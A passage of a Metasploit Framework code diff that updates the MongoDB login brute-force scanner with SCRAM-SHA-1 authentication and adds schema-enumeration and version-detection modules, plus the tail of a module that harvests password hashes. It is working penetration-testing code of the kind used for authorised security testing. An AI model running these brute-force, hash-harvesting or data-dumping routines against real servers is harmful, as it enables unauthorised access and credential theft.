'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc[user_field].to_s + hash = doc[hash_field].to_s + + next if user.blank? || hash.blank? + + tbl << ['app', user, hash] + + store_hash_credential(service_data, user, hash) + end + + print_good("\n#{tbl}") + end + + def store_hash_credential(service_data, username, hash, jtr_format = nil) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: hash, + private_type: :nonreplayable_hash + } + credential_data[:jtr_format] = jtr_format if jtr_format + credential_data.merge!(service_data) + + create_credential(credential_data) + end + + def do_login(user, password) + vprint_status("Trying user: #{user}, password: #{password}") + + scram_status = auth_scram_sha1(user, password) + return :success if scram_status == :next_user + + vprint_status('SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...') + nonce = get_nonce + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return :success if cr_status == :next_user + end + + nil + end + + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("SCRAM-SHA-1 exception: #{e.message}") + nil + end + + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) + sock.put(packet) + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("MONGODB-CR exception: #{e.message}") + nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def get_nonce + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) + + sock.put(pkt) + response = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' + end + + def require_auth? + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) + + mongodb_have_auth_error?(auth_resp) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 41d5f091eb882..773ac4bb2c0bf 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -3,11 +3,15 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'bson' +require 'openssl' +require 'digest' + class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( @@ -16,18 +20,22 @@ def initialize(info = {}) 'Name' => 'MongoDB Login Utility', 'Description' => %q{ This module attempts to brute force authentication credentials for MongoDB. - Note that, by default, MongoDB does not require authentication. + It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy + MONGODB-CR authentication if SCRAM is unsupported by the target server. }, 'References' => [ [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ] ], - 'Author' => [ 'Gregory Man ' ], + 'Author' => [ + 'Gregory Man ', + 'h00die' # SCRAM and updating compatibility for MongoDB 3.0+ and later + ], 'License' => MSF_LICENSE, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] } ) ) @@ -35,106 +43,208 @@ def initialize(info = {}) register_options( [ Opt::RPORT(27017), - OptString.new('DB', [ true, "Database to use", "admin"]) + OptString.new('DB', [ true, 'Database to use', 'admin']) ] ) end def run_host(ip) - print_status("Scanning IP: #{ip.to_s}") + print_status("Scanning IP: #{ip}") begin connect + + version = get_version + ver_info = version ? " (version #{version})" : '' + if require_auth? - each_user_pass { |user, pass| + print_status("#{peer} - Mongo server#{ver_info} requires authentication") + each_user_pass do |user, pass| do_login(user, pass) - } + end else report_vuln( - :host => rhost, - :port => rport, - :name => "MongoDB No Authentication", - :refs => self.references, - :exploited_at => Time.now.utc, - :info => "Mongo server has no authentication." + host: rhost, + port: rport, + name: 'MongoDB No Authentication', + refs: references, + exploited_at: Time.now.utc, + info: "Mongo server has no authentication.#{ver_info}" ) - print_good("Mongo server #{ip.to_s} doesn't use authentication") + print_good("Mongo server #{ip}#{ver_info} doesn't use authentication") end disconnect - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" + rescue StandardError => e + print_error "Unable to connect: #{e}" return end end + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version from buildInfo: #{e.message}") + nil + end + def require_auth? - request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" # messageLength (63) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query ({"listDatabases"=>1}) - packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) - have_auth_error?(response) + mongodb_have_auth_error?(auth_resp) end def do_login(user, password) vprint_status("Trying user: #{user}, password: #{password}") + + # 1. Try SCRAM-SHA-1 first (MongoDB 3.0+) + scram_status = auth_scram_sha1(user, password) + return scram_status if scram_status == :next_user + + # 2. Fallback to MONGODB-CR if SCRAM failed or is unsupported + vprint_status("#{peer} - SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...") nonce = get_nonce - status = auth(user, password, nonce) - return status + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return cr_status if cr_status == :next_user + end + + nil + end + + # SCRAM-SHA-1 Handshake (MongoDB 3.0+) + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("#{peer} - SCRAM-SHA-1 exception: #{e.message}") + nil end - def auth(user, password, nonce) - request_id = Rex::Text.rand_text(4) - packet = request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\xff\xff\xff\xff" # numberToReturn (1) - - # {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} - document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" - document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" - document << [user.length + 1].pack("L") # +1 due null byte termination - document << user + "\x00" - document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" - document << nonce + "\x00" - document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" - document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00" - document << "\x00" - # Calculate document length - document.insert(0, [document.length + 4].pack("L")) - - packet += document - - # Calculate messageLength - packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength + # Legacy MONGODB-CR Handshake (MongoDB < 3.0) + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) sock.put(packet) - response = sock.recv(1024) - unless have_auth_error?(response) - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") report_cred( ip: rhost, port: rport, service_name: 'mongodb', user: user, password: password, - proof: response.inspect + proof: reply.inspect ) return :next_user end - return + nil + rescue StandardError => e + vprint_error("#{peer} - MONGODB-CR exception: #{e.message}") + nil end def report_cred(opts) @@ -165,34 +275,13 @@ def report_cred(opts) end def get_nonce - request_id = Rex::Text.rand_text(4) - packet = "\x3d\x00\x00\x00" # messageLength (61) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query {"getnonce"=>1.0} - packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) - documents = response[36..1024] - # {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} - nonce = documents[15..30] - end + sock.put(pkt) + response = sock.get_once(-1, 5) - def have_auth_error?(response) - # Response header 36 bytes long - documents = response[36..1024] - # {"errmsg"=>"auth fails", "ok"=>0.0} - # {"errmsg"=>"need to login", "ok"=>0.0} - if documents.include?('errmsg') - return true - else - return false - end + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' end end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb new file mode 100644 index 0000000000000..d619a8c9b25e2 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Schema Enumerator', + 'Description' => %q{ + This module connects to an unauthenticated or authenticated MongoDB instance, + authenticates using SCRAM-SHA-1 if credentials are provided, enumerates + databases and collections via wire protocol, samples documents, and dumps + the inferred schema structure. + + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'Author' => [ 'h00die' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/' ] + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB_NAME', [ false, 'Specific database to enumerate (leave blank for all)', '' ]), + OptString.new('AUTH_DB', [ false, 'Database to authenticate against', 'admin' ]), + OptString.new('USERNAME', [ false, 'Username for authentication', '' ]), + OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]), + OptInt.new('SAMPLE_SIZE', [ true, 'Number of sample documents to inspect per collection for schema mapping', 5 ]) + ] + ) + end + + def run_host(_ip) + connect + + print_status('Connected to MongoDB wire protocol') + + if datastore['USERNAME'].present? + auth_db = datastore['AUTH_DB'].presence || 'admin' + unless authenticate(auth_db) + print_error('Stopping scan due to authentication failure.') + return + end + end + + dbs = fetch_databases + if dbs.empty? + print_error('Could not retrieve databases.') + return + end + + print_good("Found Databases: #{dbs.join(', ')}") + + schema_report = {} + + dbs.each do |db| + next if datastore['DB_NAME'].present? && datastore['DB_NAME'] != db + + collections = fetch_collections(db) + print_status(" DB '#{db}' Collections: #{collections.join(', ')}") + + schema_report[db] = {} + + collections.each do |coll| + fields = sample_collection_schema(db, coll) + schema_report[db][coll] = fields + + if fields.any? + vprint_good(" Schema for #{db}.#{coll}:") + fields.each { |field, type| vprint_line(" - #{field} (#{type})") } + else + vprint_status(" Collection #{db}.#{coll} is empty or returned no fields.") + end + end + end + + report_json = JSON.pretty_generate(schema_report) + loot_path = store_loot( + 'mongodb.schema', + 'application/json', + rhost, + report_json, + 'mongodb_schema.json', + 'MongoDB Schema Structure' + ) + print_good("Schema dumped to loot: #{loot_path}") + rescue ::Rex::ConnectionError => e + print_error("Connection failed: #{e.message}") + ensure + disconnect + end + + private + + def authenticate(db = 'admin') + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{pass}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + print_error('SCRAM-SHA-1 auth initial request rejected.') + return false + end + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_proof = Rex::Text.xor(client_key, OpenSSL::HMAC.digest('sha1', stored_key, auth_message)) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + vprint_error("saslContinue failure: #{reply.inspect}") + print_error("Authentication failed for '#{user}' on '#{db}'") + return false + end + + # Handle final SASL step if done is false or server signature validation is pending + if reply['done'] == false + final_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new('') + }) + reply = send_query_single("#{db}.$cmd", final_cmd.to_bson.to_s) + end + + if reply && reply['ok'].to_i == 1 + print_good("Authenticated successfully as '#{user}' on '#{db}'") + true + else + print_error('Final SASL confirmation failed.') + false + end + end + + def fetch_databases + cmd = BSON::Document.new({ + 'listDatabases' => BSON::Int32.new(1) + }) + + reply = send_query_single('admin.$cmd', cmd.to_bson.to_s) + vprint_status("Post-auth listDatabases reply: #{reply.inspect}") + + return [] unless reply && reply['ok'].to_i == 1 && reply['databases'] + + reply['databases'].map { |d| d['name'] } + end + + def fetch_collections(db) + # Construct listCollections as a dynamic BSON Document + cmd = BSON::Document.new({ + 'listCollections' => BSON::Int32.new(1) + }) + + reply = send_query_single("#{db}.$cmd", cmd.to_bson.to_s) + return [] unless reply + + cursor = reply['cursor'] + return [] unless cursor && cursor['firstBatch'] + + cursor['firstBatch'].map { |c| c['name'] } + end + + def sample_collection_schema(db, collection) + empty_query = "\x05\x00\x00\x00\x00" + sample_limit = datastore['SAMPLE_SIZE'] + + docs = send_query_multi("#{db}.#{collection}", empty_query, sample_limit) + return {} if docs.empty? + + field_map = {} + docs.each do |doc| + extract_fields(doc, '', field_map) + end + + field_map + end + + def extract_fields(hash_or_doc, prefix, map) + hash_or_doc.each do |key, val| + full_key = prefix.empty? ? key.to_s : "#{prefix}.#{key}" + map[full_key] ||= val.class.to_s.demodulize + + if val.is_a?(Hash) || val.is_a?(BSON::Document) + extract_fields(val, full_key, map) + end + end + end + + def send_query_single(full_coll_name, bson_payload) + send_query_multi(full_coll_name, bson_payload, 1).first + end + + def send_query_multi(full_coll_name, bson_payload, number_to_return = 5) + pkt = mongodb_build_packet(full_coll_name, bson_payload, number_to_return: number_to_return) + + sock.put(pkt) + response_raw = sock.get_once(-1, 5) + + mongodb_parse_docs(response_raw) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_version.rb b/modules/auxiliary/scanner/mongodb/mongodb_version.rb new file mode 100644 index 0000000000000..190a108823864 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_version.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Version Detector', + 'Description' => %q{ + This module connects to a MongoDB instance and retrieves the server version + using the buildInfo command. No authentication is required for this command. + + Tested against MongoDB 3.6.23 + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/command/buildInfo/' ] + ], + 'Author' => [ + 'h00die' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017) + ] + ) + end + + def run_host(_ip) + print_status("Connecting to #{peer}...") + begin + connect + + version = get_version + if version + print_good("#{peer} - MongoDB version: #{version}") + else + print_warning("#{peer} - Unable to retrieve MongoDB version") + end + rescue StandardError => e + print_error("#{peer} - Connection failed: #{e}") + ensure + disconnect + end + end + + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version: #{e.message}") + nil + end +end